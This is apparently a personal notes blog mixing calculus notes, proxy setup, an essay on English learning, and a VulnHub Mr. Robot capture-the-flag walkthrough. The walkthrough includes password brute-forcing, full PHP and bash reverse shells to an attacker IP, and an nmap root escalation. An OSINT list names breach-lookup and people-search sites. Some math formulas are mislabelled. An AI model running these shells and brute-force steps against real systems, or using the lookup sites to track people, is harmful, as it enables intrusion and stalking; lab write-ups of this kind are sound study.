ILUVFEMBOY

note and sharing

不同色调的红色

  • 红色 (Red)
  • 粉红 (Pink)
  • 红褐色 (Sorrel)
  • 绯红 (Scarlet)
  • 紫红 (Purplish Red)
  • 酒红 (Wine Red)
  • 土红 (Reddle)
  • 深紫红 (Prune)
  • 淡红 (Pale Red)
  • 朱红色 (Vermilion)
  • 玫瑰红 (Rosy)
  • 橘红 (Jacinth)
  • 血红 (Blood-red)
  • 草莓红 (Strawberry Red)
  • 脸红的 (Blushing)
  • 腥红 (Crimson)
  • 珊瑚红 (Coral)

more

Encycolorpedia一个提供颜色代码和颜色匹配称呼的网站

  • 颜色代码查询:通过输入颜色代码(如 HEX、RGB)来获取详细的颜色信息。
  • 命名颜色:列出了具有特定名称的颜色及其代码。

Match The Colors - Retryables匹配给定的颜色的在线游戏

  • 游戏玩法:使用三个滑块来调整 RGB 颜色值,尽量匹配提供的目标颜色。

pwn

useful

  • pwn
    • https://ch4r1l3.github.io/page/4/

IDA

function name

sub_4003E0

strings

  • SHIFT F12

pseudocode

谈谈我对英语学习的看法

阿拉伯文、中文、英文、法文、俄文和西班牙文是联合国的六种正式语言。然而,对大多数接受教育的学生而言,正式一词离他们很远,英语考试分数离他们则很近。正式,看似疏远却又贴近的词,在这片儿只适用于英语。英语是一种工具,但不是交流的桥梁,而是考试专用道具。毕竟在生活中用不着英语,那么也没道理去学。社会整体对英语的使用需求低,大多数职业和日常交流中不需要频繁使用英语,这进一步削弱了人们学习英语的动力和兴趣。这就像用十字螺丝刀拧一字螺丝,理应有用的东西却派不上用场,很多身边人从小学到大学都在经历这种挣扎。

这种诡异现象的根源在于中文环境中外语的缺位。英语是国际交流、教育和科研的重要工具。换言之,只有具备资格进行国际交流、教育和科研的人,才能经常使用英语。在网络不发达时期,境内外的文字流通只能靠一小撮人经手,用爱发电汉化,再通过非正式途径传播,准确性难以保证,信息传播也成问题。过去,中文环境中外语的缺位很大程度上是由于网络欠发达文字流通不畅。全球化和互联网的发展看似正在逐渐改变这一状况,实则不然,年轻一代通过互联网底层渠道接触到大量的劣化内容,从而加重了传统教育的不足。没有语言实践和跨文化交流的机会,英语只能在中文环境中做一个遥不可及的工具。

可见相比渠道匮乏的过去,中文环境中的英语缺位依然存在,但原因在于人为造成的语言断层,而非网络欠发达。内外部力量对信息的双向封锁,导致信息流动呈纵向,而横向流通的信息又不能保证准确性和时效性。有价值的信息只在少数人手中流动,而无用的噪声被复制再复制,导致信息劣化,形成恶性循环。这种错误的流动方向和主动封锁导致了中文环境中的英语缺位,进而使古典中式英语教育成了一颗让人追赶的太阳。

还剩下什么能做的呢?

全球化和互联网的发展也许能够改变这一状况,这十年最潮的web3是最好的打破信息壁垒的工具,分布式节点防止情报被封锁和篡改、实现情报的横向流通。不妨想象每个个人都能成为信息流动的节点,每个致信节点都能获取到有价值的信息,多节点对信息进行验证……突破限界的时候,或许英语成功祛魅的日子就来了吧。

博客迁移

到了不得不选择重建的时候

原博客使用的是hexo框架,主题是shoka,但是shoka主题的配置文件已经很久没有更新。我又不会自己修改配置勉强配好评论和搜索功能,过几天又不好使了,开始无限加载。

shoka主题本身的动效和设计特别好看,但被我折腾几顿后,用起来特别难受。一是为了省事,我把图片全放在图床上,每次上传图片都需要重新上传,非但不省事还更加麻烦,得时不时到处搜罗擅自使用图片,再传到加载速度如龟爬的免费图床。每次刷新加载图片造成卡顿,导致每次想上来看看笔记时不得不卡上几秒,等待图片加载。再对比主题制作者的博客完全没有我这种情况,加载图片和css都很快,而且作者博客的评论和搜索功能都很好用。

但以上原因都是间接的,等待加载在多数时候并不是要紧事。直接原因源于这周的突发奇想,把obsidian记录的latex笔记上传到博客。上传的过程不是我想象的一帆风顺,先是调整好格式后generate,跳出几十行看不懂的报错,接着是调整语法和格式本地修改,语法问题虽然解决了一大半,但重复渲染页面、重复加载的痛苦也被体会到。对我这个虽然敲不出几个字,懒得学着折腾但要求很多的技术菜鸟来说或许已经到了得要更换一个简单易用的博客框架或者主题的时候了。

新博客应该是什么样的

对新博客的要求如下 - 项目在持续维护 - 能直接部署在GitHub page 上 - 支持评论 - 支持搜索 - 主题极简、主页无图片 - 主题简单易用

答案到这似乎很明显了,选next就是正确答案,恰到好处的动效,极简的主页,而且最重要的,简单。但缺点……好吧,我关心的老版本的缺点在新的next主题上已经不存在了。看过next主题的文档,发现next主题的配置文件已经相当完善,甚至会教如何自定义主题。一番学习后,顺利配置好了想要的效果。还看大佬教程注入了石蒜小组件,看着主页心情都变好了。后续打算把obsidian的笔记迁移过来,把之前的笔记重新整理一下,再逐渐对新博客微调配色之类的外观件。希望我在新博客能一直使用下去,记录生活学习。

最后感谢大佬们维护next-theme,和相关的组件。

参考资料

  1. next-theme-doc

  2. Yu's blog

  3. Hexo-添加-Sakana-小部件

  4. hexo-doc

函数概念与极限

函数

对数运算法则

商变差,奇变和,幂次变倍数

\[ \left\{ \begin{array}{} \ln ab = \ln a + \ln b, & \\ \ln \frac{a}{b} = \ln a - \ln b, & \\ \ln a^b = b \ln a, & \end{array} \right. \]

反双曲正弦函数

\[ \operatorname{arsinh} = \ln \left( x + \sqrt{x^2 + 1} \right) \]

双曲余弦函数(悬链线)偶函数

\[ \sinh x = \frac{e^x + e^{-x}}{2} \]

定义域

\[ \left\{ \begin{array}{} \frac{1}{x}, & x \neq 0 \\ \sqrt[2n]{x}, & x \geq 0 \\ \log_{n} x, & x > 0 \\ \arcsin x, \arccos x, & -1 \leq x \leq 1 \\ \tan x, & x \neq k\pi + \frac{\pi}{2} \\ \cot x, & x \neq k\pi \end{array} \right. \]

性质

  1. 奇偶性
    • 内偶则偶,内奇同外
    • 可导函数求导奇偶互换
  2. 周期
    • 三角函数:奇变偶不变,符号看象限

极限

\[ \lim_{x \to -\infty} e^x = 0, \lim_{x \to +\infty} e^x = +\infty \]

\[ e^{x_a} - 1 = e^{x_a} - e^0 \]

\[ e^{\tan x} - e^{\sin x} = e^{\sin x} \left( e^{\tan x - \sin x} - 1 \right) \]

特殊函数值

\[ \ln 1 = 0, \ln e = 1 \]

判断反函数

\[ a = f(f^{-1}(a)) \quad 存在反函数 \Rightarrow f^{-1}(f(a)) \]

常考对数运算(幂次变倍数)

\[ \begin{gather} \ln \sqrt{x} = \frac{1}{2} \ln x, \\ \ln \frac{1}{x} = -\ln x \end{gather} \]

拉格朗日中值定理

下式先通分再商变差:

\[ \ln \left( 1 + \frac{1}{x} \right) = \ln \frac{x + 1}{x} = \ln (x + 1) - \ln x \]

自然常数

\[ e = \sum^{\infty}_{n=0} \left( 1 + \frac{1}{n} \right)^n \]

三角函数

正余弦

\[ \left\{ \begin{array}{} \sin x, & T = 2\pi, & x \in (-\infty, \infty), & y \in [-1, 1], & x = 0, y = 0 \\ \cos x, & T = 2\pi, & x \in (-\infty, \infty), & y \in [-1, 1], & x = 0, y = 1 \end{array} \right. \]

\[ \sin^2 \alpha + \cos^2 \alpha = 1 \]

正余切

\[ \left\{ \begin{array}{} \tan x = \frac{\sin x}{\cos x}, \\ \cot x = \frac{\cos x}{\sin x} = \frac{1}{\tan x} \end{array} \right. \]

\[ \left\{ \begin{array}{} \tan x, & T = \pi, & x \neq k\pi + \frac{\pi}{2} (k \in \mathbb{Z}), & y \in (-\infty, +\infty), & x = 0, y = 0 \\ \cot x, & T = \pi, & x \neq k\pi (k \in \mathbb{Z}), & y \in (-\infty, +\infty), & x = \frac{\pi}{2}, y = 0 \end{array} \right. \]

正余割

\[ \left\{ \begin{array}{} 偶函数 \ \sec x = \frac{1}{\cos x}, \\ 奇函数 \ \csc x = \frac{1}{\sin x} \end{array} \right. \]

\[ 1 + \tan^2 \alpha = \sec^2 \alpha, \quad 1 + \cot^2 \alpha = \csc^2 \alpha \]

反三角函数

恒等式

\[ \sin(\arcsin x) = x, \quad \cos(\arccos x) = x \]

\[ \sin(\arccos x) = \sqrt{1 - x^2} = \cos(\arcsin x) \]

推导

\[ t = \arccos x, \quad \sin t = \sqrt{1 - \cos^2 t} \]

\[ \arcsin(\sin y) = y, \quad y \in \left[-\frac{\pi}{2}, \frac{\pi}{2}\right] \]

\[ \arccos(\cos y) = y, \quad y \in [0, \pi] \]

\[ \arcsin x + \arccos x = \frac{\pi}{2} \quad (-1 \leq x \leq 1) \]

\[ \arctan x + \operatorname{arccot} x = \frac{\pi}{2} \quad (-\infty < x < +\infty) \]

函数极限

\[ 常数a是数列\{x_{n}\}的极限,或者数列x_n收敛于a,记为 \]

\[ \lim_{n \to \infty} x_{n} = a \]

邻域

\[ U(x_{0}, \delta), \delta \text{ 邻域的半径}, x_{0} \text{ 邻域的中心} \]

\[ \mathring{U}(x_{0}, \delta) \text{ 去心邻域} \]

\[ 右 \delta \text{ 邻域} U^+(x_{0}, \delta),左 \delta \text{ 邻域} U^-(x_{0}, \delta) \]

\[ \forall \text{ Arbitrary}, \exists \text{ Exist} \]

\[ \forall M > 0, \exists \delta > 0, \text{ 当 } 0 < |x - x_{0}| < \delta, \text{ 有 } |f(x)| > M \]

例题 1.14

\[ \exists \lim_{x \to 0} \frac{f(x)}{x^2}, f(x) = \frac{x - \sin x}{x} + x^2 \lim_{x \to 0} \frac{f(x)}{1 - \cos x} \]

\[ \lim_{x \to 0} \frac{f(x)}{x^2} = \]

解:

\[ 1 - \cos x \sim \frac{1}{2} x^2 \Rightarrow \frac{f(x)}{x^2} = \frac{x - \sin x}{x^3} + \lim_{x \to 0} \frac{2 f(x)}{x^2} \]

\[ \Rightarrow \lim_{x \to 0} \frac{f(x)}{x^2} = \lim_{x \to 0} \frac{x - \sin x}{x^3} + \lim_{x \to 0} \frac{2 f(x)}{x^2} \Rightarrow \lim_{x \to 0} \frac{f(x)}{x^2} = -\lim_{x \to 0} \frac{x - \sin x}{x^3} = -\frac{1}{6} \]

注意:

\[ 1 - \cos x \sim \frac{1}{2} x^2, \frac{x - \sin x}{x^3} \sim \frac{1}{6}, \frac{\sin x}{x} \sim 1 \]

性质

唯一性:

\[ 如果 \exists \lim_{x \to x_{0}} f(x), \quad 极限唯一 \]

\[ \lim_{x \to x_{0}} f(x) = A \iff f(x) = A + \alpha(x), \quad \lim_{x \to x_{0}} \alpha(x) = 0 \]

例题 1.10

\[ \lim_{x \to -1} f(x) = \frac{|x|^x - 1}{x(x + 1) \ln |x|} = \]

解:

\[ \lim_{x \to -1} f(x) = \frac{e^{x \ln |x|} - 1}{x(x + 1) \ln |x|} = \frac{x \ln |x|}{x(x + 1) \ln |x|} = \frac{1}{x + 1} \]

\[ \lim_{x \to -1^+} f(x) = +\infty \]

\[ \lim_{x \to -1^-} f(x) = -\infty \]

\[ 因此: \lim_{x \to -1} f(x) = \infty \]

注意:

\[ e^x - 1 \sim x, \quad |x|^x = e^{x \ln |x|} \]

例题 1.11

\[ \exists \ f(x) = 2x + \sqrt{x^2 + 2x + 1}, \quad g(x) = \left\{ \begin{array}{} x + 2, & x \geq 0 \\ x - 1, & x < 0 \end{array} \right. \]

\[ \lim_{x \to -\frac{1}{3}} g[f(x)] = \]

解:

\[ \begin{gather} \lim_{x \to -\frac{1}{3}} g[f(x)] = \left\{ \begin{array}{} 3x + 3, & x \geq -\frac{1}{3} \\ 3x, & -1 \leq x < -\frac{1}{3} \\ x - 2, & x < -1 \end{array} \right. \end{gather} \]

\[ \begin{gather} \Rightarrow \lim_{x \to -\frac{1}{3}^+} g[f(x)] = 2 \neq \lim_{x \to -\frac{1}{3}^-} g[f(x)] = -1 \end{gather} \]

\[ 因此 \nexists \lim_{x \to -\frac{1}{3}} g[f(x)] \]

注意:

\[ \sqrt{x^2 + 2x + 1} = |x + 1| \]

局部有界性

\[ |f(x)| = |f(x) - A + A| \leq |f(x) - A| + |A| \]

\[ \exists \lim_{x \to a^+} f(x), \quad \exists \lim_{x \to b^-} f(x), \quad f(x) \in (a, b) \text{ 有界} \]

局部保号性

脱帽严格不等:

\[ \lim_{x \to x_{0}} f(x) > 0 \Rightarrow f > 0, \quad \lim_{x \to x_{0}} f(x) < 0 \Rightarrow f < 0 \]

戴帽非严格不等:

\[ f \geq 0 \Rightarrow \lim_{x \to x_{0}} f(x) \geq 0, \quad f \leq 0 \Rightarrow \lim_{x \to x_{0}} f(x) \leq 0 \]

无穷小

\[ \lim_{x \to x_{0}} f(x) = 0 \]

  1. 有限个无穷小的和是无穷小,无穷个无穷小的和不一定是无穷小。

注意:

\[ \lim_{n \to \infty} \sum^{n}_{i=1} \frac{1}{n + i} = \ln 2 \]

  1. 有界函数和无穷小的乘积是无穷小

\[ \exists |\alpha_{1}| < M, \quad \exists \alpha_{2} \to 0 \]

\[ \Rightarrow |\alpha_{1} \cdot \alpha_{2}| = |\alpha_{1}| \cdot |\alpha_{2}| \leq M |\alpha_{2}| \to 0 \]

注意:

\[ \lim_{x \to 0} \frac{1}{x} \cdot x = 1 \]

  1. 有限个无穷小的乘积是无穷小

vulnhub mrRobot

Mr.Robot: a American television

record the process of hacking

vulnhub

https://www.vulnhub.com/entry/mr-robot-1,151/

use virtual box

set network bridge network

reference

https://www.youtube.com/watch?v=Wa88lk5Jygk&list=PLElHR9MODvudCR4xh3dqtUxXFfhPx19fo&index=3

https://medium.com/geekculture/vulnhub-mr-robot-35eac3078d5c

discover

netdiscover

1
netdiscover -r 192.168.0.0/24
  • -r 192.168.0.0/24: -r ip range目标网络地址范围。192.168.0.0/24 是一个 CIDR 表示法的网络地址,表示扫描 192.168.0.0192.168.0.0 之间的所有 IP 地址。

rustscan

1
rustscan -a 192.168.0.105
  • -a 192.168.0.105: -a =IP address。在这里,192.168.0.105 是目标主机的 IP 地址。

dic bruteforce

from robot.txt get two file: - fsocity.dic - flag:key-1-of-3.txt

key-1-of-3.txt

073403c8a58a1f80d943455fb30724b9

fsocity.dic

http://192.168.0.105/fsocity.dic

hash crack

https://crackstation.net/

sort

1
sort -u fsocity.dic

Sort and remove duplicates 删除重复项

word count

1
wc fsocity.dic

crack password

burpSuit

OWASP ZAP is same as burpSuit

intruder - intruder: Burp Suite 的一个功能,用于进行暴力破解、模糊测试等攻击测试。 get username: elliot get password: ER28-0652

wpscan

1
wpscan --url http://192.168.0.105/ --passwords dic.txt --usernames elliot

get password

1
2
3
[!] Valid Combinations Found:
| Username: elliot, Password: ER28-0652

  • --url http://192.168.0.105/: 指定要扫描的 WordPress 网站的 URL。在这里,http://192.168.0.105/ 是目标网站的 URL。

  • --enumerate u: 指定要扫描的内容。在这里,u 表示扫描用户名。

  • --enumerate p: 指定要扫描的内容。在这里,p 表示扫描插件。

  • --passwords dic.txt: 指定密码字典文件的路径和文件名。在这里,密码字典文件是 "dic.txt",wpscan 将使用这个文件中的密码来尝试登录。

  • --usernames elliot: 指定要尝试登录的用户名为 "elliot"。

hydra

1
hydra -vV -l elliot -P robotdic.txt 192.168.0.105 http-post-form 
  1. hydra: 这是密码破解工具 Hydra 的命令行程序。

  2. -vV: 这是 Hydra 的选项之一,用于显示详细信息。小写的 -v 表示详细输出,大写的 -V 表示显示每次尝试的结果。

  3. -l elliot: 这是指定要尝试登录的用户名为 "elliot"。

  4. -P robotdic.txt: 这是指定密码字典文件的路径和文件名。在这里,密码字典文件是 "robotdic.txt",Hydra 将使用这个文件中的密码来尝试登录。

  5. 192.168.0.105: 这是目标主机的IP地址,即要攻击的目标。

  6. http-post-form: 这是 Hydra 攻击的模块之一,指定使用 HTTP POST 表单进行攻击。

get webshell

msfvenom

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4567 -f raw > shell.php
  • -p php/meterpreter/reverse_tcp: 指定要生成的 payload 类型。在这里,php/meterpreter/reverse_tcp 表示生成一个 PHP 脚本,该脚本会在目标主机上启动一个 meterpreter 会话,并通过 TCP 协议连接到指定的 IP 地址和端口。

  • -f raw: 指定输出格式为 raw 格式,即原始的 payload 数据。

  • LHOST=192.168.0.106: 指定 payload 连接的 IP 地址。在这里,192.168.0.102 是攻击者的 IP 地址。

  • LPORT=4567: 指定 payload 连接的端口。在这里,4567 是攻击者监听的端口。

get webshell write shell.php to 404.php

1
/*<?php /**/ error_reporting(0); $ip = '192.168.0.106'; $port = 4567; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
## another method

php-reverse-shell

1
2
3
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.106/4567 0>&1'");
?>
  1. exec 函数: PHP 中的 exec 函数用于执行外部命令。在这里,exec 函数被用来执行一个命令字符串。

  2. 命令字符串: /bin/bash -c 'bash -i >& /dev/tcp/192.168.0.106/4567 0>&1'

  • 当 PHP 执行这段代码时,它会调用 exec 函数来执行指定的命令。
  • 命令中的 /bin/bash -c 启动了一个 bash shell,并通过 -i 参数设置为交互模式。
  • 接着,>& /dev/tcp/192.168.0.106/4567 将 bash 的标准输出和标准错误都重定向到指定的 IP 地址和端口号上,这里假设攻击者已经在远程主机上监听了 4567 端口。
  • 0>&1 则将标准输入也重定向到与标准输出相同的地方,这样就建立了一个完整的双向连接。

msfconsole

1
2
3
4
5
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.0.106
set LPORT 4567
run

get

1
2
3
4
5
6
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.0.106:4567
[*] Sending stage (39927 bytes) to 192.168.0.105
[*] Meterpreter session 1 opened (192.168.0.106:4567 -> 192.168.0.105:60842) at 2024-07-24 02:28:06 -0400

get flag

1
2
cat /home/robot/key-2-of-3.txt
822c73956184f694993bede3eb39f959

root privilege

python

1
python -c 'import pty; pty.spawn("/bin/sh")'

suid

1
find / -perm /4000 -type f 2>/tmp/2
1
find / -perm -u=s -type f 2>/dev/null

get

1
2
3
4
5
6
7
8
9
10
11
12
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap

nmap

nmap version 3.81 bug

1
2
nmap --interactive
!/bin/sh

get flag

1
2
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4

OSINT

  • https://www.google.com/advanced_search
  • https://yandex.com/
  • https://tineye.com/

fakenamegenerator

  • https://www.fakenamegenerator.com/

exiftool

  • https://onlineexifviewer.com/

satellite image

https://www.google.com/maps/@37.4219999,-122.0840575,3a,75y,35.56h,90t/data=!3m6!1e1!3m4!1sAFQjCNGR9Z5wZj4Y6h8q8zQ5hZ1Zl7q6Q!2e0!7i13312!8i6656

geoguessr tips

  • https://somerandomstuff1.wordpress.com/2019/02/08/geoguessr-the-top-tips-tricks-and-techniques/

email

  • https://phonebook.cz
  • https://www.voilanorbert.com/
  • clearbit connect
  • email checker
    • https://email-checker.net/check

domain

  • https://www.whois.com/whois/

data breach

  • https://dehashed.com/
  • https://weleakinfo.io/
  • https://namechk.com
  • https://whatsmyname.app/?trk=article-ssr-frontend-pulse_little-text-block
  • https://www.whitepages.com/
  • https://www.truepeoplesearch.com/
  • https://webmii.com/
  • https://thatsthem.com/
  • https://www.spokeo.com/
  • https://voterrecords.com/

hash decrypt

  • https://hashes.com/en/decrypt/hash

phone

  • https://www.truecaller.com/
  • https://calleridtest.com/

twitter search advanced

  • https://twitter.com/search-advanced
  • https://www.tweetbinder.com/blog/twitter-geocode/
  • https://thoughtfaucet.com/search-twitter-by-location/examples/
    • From the url
    • Entering the search string below let’s you use twitter location search to see their tweets:
    • geocode:38.890550,-77.009017,.02km
    • The above string will give you Tweets in a 0.02km radius around the Capitol. You can expand or shrink the geofence however you like however you like. But if you want to search Twitter for a specific date range, for example, 1/6/2021, you’ll need to add that as well:
    • geocode:38.890550,-77.009017,.02km
    • since:2021-01-05 until:2021-01-07

twitter tool

  • xPro pay to use
  • api change

maybe useful

OSINT Framework

  • https://osintframework.com/ ### integration tool
  • https://www.aware-online.com/en/ ### long-tail keyword
  • https://keywordtool.io/

网络分层模型

OSI模型(Open Systems Interconnection model),该模型分为7层:

  1. 物理层(Physical Layer)
  2. 数据链路层(Data Link Layer)
  3. 网络层(Network Layer)
  4. 传输层(Transport Layer)
  5. 会话层(Session Layer)
  6. 表示层(Presentation Layer)
  7. 应用层(Application Layer)
  • tap: 属于数据链路层(第2层)。tap设备用于在以太网帧级别操作。

  • tun, vpn: 属于网络层(第3层)。tun设备用于IP包级别操作,VPN通常工作在第3层(网络层)。

  • icmp: 属于网络层(第3层)。ICMP(Internet Control Message Protocol)用于网络设备间的控制信息传递,如ping命令。

in short

1
2
3
4
5
6
7
8
9
- **tap**: 2层(数据链路层)
- **tun, vpn**: 3层(网络层)
- **icmp**: 3层(网络层)
- **TCP/UDP**: 4层(传输层)
- **socks**: 7层(应用层)建立连接和传输数据时也涉及传输层(第4层)
- **system proxy (clash default)**: 7层(应用层)no ICMP
- **proxychains**: 7层(应用层)no ICMP
- **HTTP/HTTPS、FTP、SMTP**: 7层(应用层)
- **SSH**: 7层(应用层)使用传输层协议(通常是 TCP)22 port

tips:

  • SOCKS4:支持基本的 TCP 流量转发,不支持 UDP。
  • SOCKS5:扩展了 SOCKS4 的功能,增加了对 UDP 流量的支持,并且提供了更强的认证和安全特性。
  • proxychains 是一个工具,它会拦截应用程序的网络连接,并通过代理服务器转发这些连接。它通常用于让应用程序通过 SOCKS 或 HTTP 代理连接到网络。由于 proxychains 操作的是应用程序层的流量,并且修改传输层的连接请求,它应归类为应用层(第7层),尽管操作涉及传输层(第4层)的连接。

Configuring Proxy Settings

In the development world, setting up a proxy is a common task, especially when working behind a corporate firewall or when you want to ensure secure and private browsing. Proxies act as intermediaries between your computer and the internet, helping in filtering requests, improving security, and managing network traffic more efficiently.

NPM

Setting up Proxy in NPM

To configure npm to use a proxy, you can use the npm config set command as follows:

1
2
npm config set proxy "http://localhost:7890"
npm config set https-proxy "http://localhost:7890"

Here, http://localhost:7890 is the address of your proxy server. Change it according to your proxy server's IP address and port number.

Removing Proxy Configuration

If you need to remove the proxy configuration, for instance, when you're not behind a proxy anymore, you can use the npm config delete command:

1
2
npm config delete proxy
npm config delete https-proxy

Linux Shell Proxy Configuration

Setting up Proxy

You can set proxy environment variables in the shell as follows:

1
2
export http_proxy="http://localhost:7890"
export https_proxy="https://localhost:7890"

Replace localhost:7890 with your proxy server's IP address and port. Note the difference in the protocol (http vs. https) for http_proxy and https_proxy.

Removing Proxy Configuration

To revert the changes or to disable the use of a proxy, you can unset these environment variables:

1
2
unset http_proxy
unset https_proxy

Pip Proxy Configuration

Using Proxy with Pip

1
pip --proxy http://localhost:7890 install somepackage

Replace http://localhost:7890 with your proxy's URL. Append the name of the package you wish to install instead of somepackage.

git

1
2
git config --global http.proxy http://127.0.0.1:7890
git config --global https.proxy https://127.0.0.1:7890
1
2
git config --global http.https://github.com.proxy http://127.0.0.1:7890
git config --global https.https://github.com.proxy https://127.0.0.1:7890
1
2
3
git config --global --unset http.proxy
git config --global --unset https.proxy

unfinished

跨平台换行符差异导致的密码破解失败

在进行密码破解任务时,我遇到了一个典型但容易被忽视的问题:不同操作系统间的换行符差异。在这篇博客中,我将分享我的经验和解决方案,希望能帮助那些可能面临同样挑战的人。

背景

Windows 系统上生成了一个用于密码破解的字典文件,文件中的换行符遵循 Windows 的标准,即 CRLF (\r\n)。然而,我的破解工具运行在 WSL 环境中,该环境以及大多数 Linux 工具期望的换行符是 LF (\n)。

我确定字典中有正确密码。当使用 VSCodeWSL 终端运行如下fcrackzip命令时,破解尝试失败了

1
fcrackzip -D -p ./vspro/passwords.txt -u flag.zip

通过file命令检查字典文件,确认了问题所在:

1
2
➜  code file ./vspro/passwords.txt
./vspro/passwords.txt: ASCII text, with CRLF line terminators

这表明文件是用 CRLF 作为换行符的,而不是 WSLLinux 工具期望的 LF

解决方案

If conditions permit

linux 环境中使用脚本生成字典。

Else 使用指令转换换行符

为了解决这个问题,我需要将字典文件中的 CRLF 换行符转换为LFLinuxWSL提供了一个非常方便的工具dos2unix,它可以实现这种转换。

1
sudo apt update && sudo apt install dos2unix

安装完成后,使用dos2unix命令转换文件:

1
dos2unix ./vspro/passwords.txt

验证转换

转换完成后,再次使用file命令验证文件的换行符:

1
2
➜  code file ./vspro/passwords.txt
./vspro/passwords.txt: ASCII text

这次,文件描述不再提到CRLF换行符,说明转换成功。

重新尝试破解

转换换行符后,我再次运行了fcrackzip命令,这次成功破解了ZIP文件的密码。

end

This experience highlights that, when working across different platforms, even minor details like line breaks can lead to significant obstacles. Despite their seeming insignificance, these differences can greatly impact how files are processed and texts are parsed. Thankfully, with the use of straightforward tools and commands, these issues can be easily overcome, allowing for a seamless workflow.

I hope this blog post assists those facing similar challenges in cross-platform tasks, such as password cracking or any activity involving text file processing. Remember, when you come across unusual issues, it's worth starting with the basics, like the seemingly trivial matter of line breaks.